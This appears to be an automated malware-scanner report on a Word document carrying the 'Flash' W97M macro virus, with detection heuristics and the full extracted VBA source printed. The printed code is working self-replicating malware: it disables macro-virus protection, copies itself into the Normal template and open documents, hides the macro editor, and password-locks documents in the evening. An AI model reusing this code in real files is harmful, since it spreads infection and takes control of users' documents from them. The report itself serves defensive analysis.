MALICIOUS
196
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample exhibits characteristics of a legacy WordBasic macro virus and contains VBA macros, including AutoOpen and AutoClose functions. The script attempts to copy itself to the Normal template and the active document, suggesting a mechanism for persistence or propagation. The presence of legacy markers and the generic nature of the VBA code lead to an 'unknown family' classification.
Heuristics 6
-
ClamAV: Doc.Trojan.Flash-10 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Flash-10
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub AutoClose() -
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2171 bytes |
SHA-256: 951cf00192ace99b05d77ba7e6ddd79d786ecd8ecc73ca7481f9abc6e61e2b19 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "Flash" Sub AutoClose() inf 'Ïðèâåò Ñåðåãå ýêîíîìèñòó ! ini 'ïîñìîòðè íà ýòîãî ñîðöà ïîâíèìàòåëüíåå ! End Sub Sub inf() On Error Resume Next Application.EnableCancelKey = wdCancelDisabled Options.VirusProtection = False Options.SaveNormalPrompt = False Options.ConfirmConversions = False Application.UserName = "(C)Copyleft by SaNDMaN #7 For Anna" Application.UserInitials = "Flash" Application.UserAddress = "Ufa-XXXX" For i = 1 To NormalTemplate.VBProject.VBComponents.Count t = NormalTemplate.VBProject.VBComponents(i) If t = "Flash" Then NormInst = 1 Next For a = 1 To ActiveDocument.VBProject.VBComponents.Count e = ActiveDocument.VBProject.VBComponents(a).Name If e = "Flash" Then DocInst = 1 Next If NormInst = 0 Then Application.OrganizerCopy Source:=ActiveDocument.FullName, _ Destination:=NormalTemplate.FullName, Name:="Flash", _ Object:=wdOrganizerObjectProjectItems NormalTemplate.Save End If If DocInst = 0 Then Application.OrganizerCopy Source:=NormalTemplate.FullName, _ Destination:=ActiveDocument.FullName, Name:="Flash", _ Object:=wdOrganizerObjectProjectItems ActiveDocument.SaveAs FileName:=ActiveDocument.FullName End If End Sub Sub ini() If Minute(Now()) = 13 And Hour(Now()) = 13 Then MsgBox "Flura-2000", vbCritical, "About crazy girl" If Minute(Now()) = 0 And Hour(Now()) = 10 Then Selection.TypeText Text:="(c)Copyleft by SaNDMaN #7" ActiveDocument.SaveAs FileName:=ActiveDocument.FullName End Sub Sub AutoOpen() If Hour(Now()) >= 17 Then ActiveDocument.Protect Password:="Lunatic Calm", NoReset:=False, _ Type:=wdAllowOnlyComments End If End Sub Sub toolsmacro() End Sub Sub viewvbcode() End Sub Sub fileprint() End Sub Sub FileSaveAs() Dialogs(wdDialogFileSaveAs).Show ActiveDocument.SaveAs FileName:=Dialogs(wdDialogFileSaveAs).Type inf End Sub |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.